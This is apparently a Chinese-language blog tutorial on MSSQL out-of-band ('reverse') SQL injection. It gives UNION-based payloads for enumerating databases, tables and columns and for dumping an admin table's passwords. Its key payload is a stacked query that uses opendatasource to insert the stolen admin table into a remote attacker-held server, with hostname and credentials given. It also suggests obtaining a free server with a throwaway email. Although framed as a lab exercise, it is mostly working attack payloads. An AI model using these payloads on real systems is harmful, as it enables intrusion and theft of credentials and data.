- 每日一句:MSsql注入攻击是最复杂的数据库攻击技术
- 本篇内容:MSSQL反弹注入使用场景
快速搭建一个MSSQL环境(骚姿势)
MSSQL反弹注入语句解析
MSSQL反弹注入实战注意
一、MSSQL反弹注入使用场景
1.什么是MSSQL
MSSQL就是Sql server数据库的服务器
2.前言
MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,
存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路
2.反弹注入缘由
明明有注入点却无法进行注入,工具攻击速度也是异常缓慢,错误提示信息关闭,
无法返回注入结果,这些都是在注入攻击中常常遇到的问题。为例解决以上的疑难杂症,
我们来学习反弹注入,反弹注入则依靠opendatasource函数支持
3.原理
反弹注入就是利用opendatasource函数,将当前数据库中的查询结果发送给另一个数据库中
二、快速搭建一个MSSQL环境(骚姿势)
1.利用十分重邮箱(例如:bccto.me)在香港云上白嫖一个服务器(webweb.com)
2.根据目标数据库,建立相同类型数据库,建立表(表名随意),字段(名字随意,字段一定相同)
三、MSSQL反弹注入语句解析
1.注意测试的数据库是sql server时,语句有点不太一样
例如:url id=1
id=1’ union all select null,null,null from news – qwe
注意:
~union后注意有个 all
~select后,慎重写1,2,3,也不是不可以,这的数据类型要一致。
因为一般来说,我们都不知道,所以写null,即无类型
之后,可以用asd来测试是不是字符,这样以此来测试
2.直接在sql server数据库中查询
查库:select name from dbo.sysdatabases(或者:select * from dbo.sysdatabases)
//name是库默认属性
//查询所有库,查出来有默认库
查表:select *from dbo.sysobjects where xtype=‘U’
//稍微改一点关键词,注意增加xtype判断,后边的‘U’是用户的意思
//代表查询用户创建的表,不然会查出很多表
查字段:select * from dbo.syscolumns where id=111
注意:一般不查库也行,毕竟很多东西都放在同一个库中
id是SQL server表默认的字段,类似的还有name
额外提一个系统自带表:master
它是保存了,所有的库名,以及库的ID,和一些相关信息。
在查系统所有库的时候,完整的语句应该是:
select * from master.dbo.sysdatabases
3.搞靶场中(反弹注入步骤)
测试:url id=1’ --> url id=1’-- qwe
猜字段:url id=1’ order by 3 – qwe //假设3个字段
查库名:url id=1’ union all
查表名:url id=1’ nuion all select id,name,null from dbo.sysobjects where xtype=‘U’ – qwe
查字段:url id=1’ union all select null,name,null from dbo.syscolumns where id=xxxxxx – qwe
查内容:url id=1’ union all select null,passwd,null from admin-- qwe
//这个passwd是之前爆出的字段
4.反弹注入语句
经典语句
url?id=1';insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14B8A62_AB_admin;pwd=123456789;database=DB_14B8A62_AB').DB_14B8A62_AB_dbo.a select * from admin -- wqe
四、MSSQL反弹注入实战注意
1.目标数据库要和自己搭建的一致,
mysql对应mysql
sql server 对应sql server
2.“;”结尾,堆叠注入
不能用and代替,堆叠语句就是执行多条数据
五、总结
- 理解反弹注入原理
- 熟练掌握反弹注入步骤
- 牢记反弹注入经典语句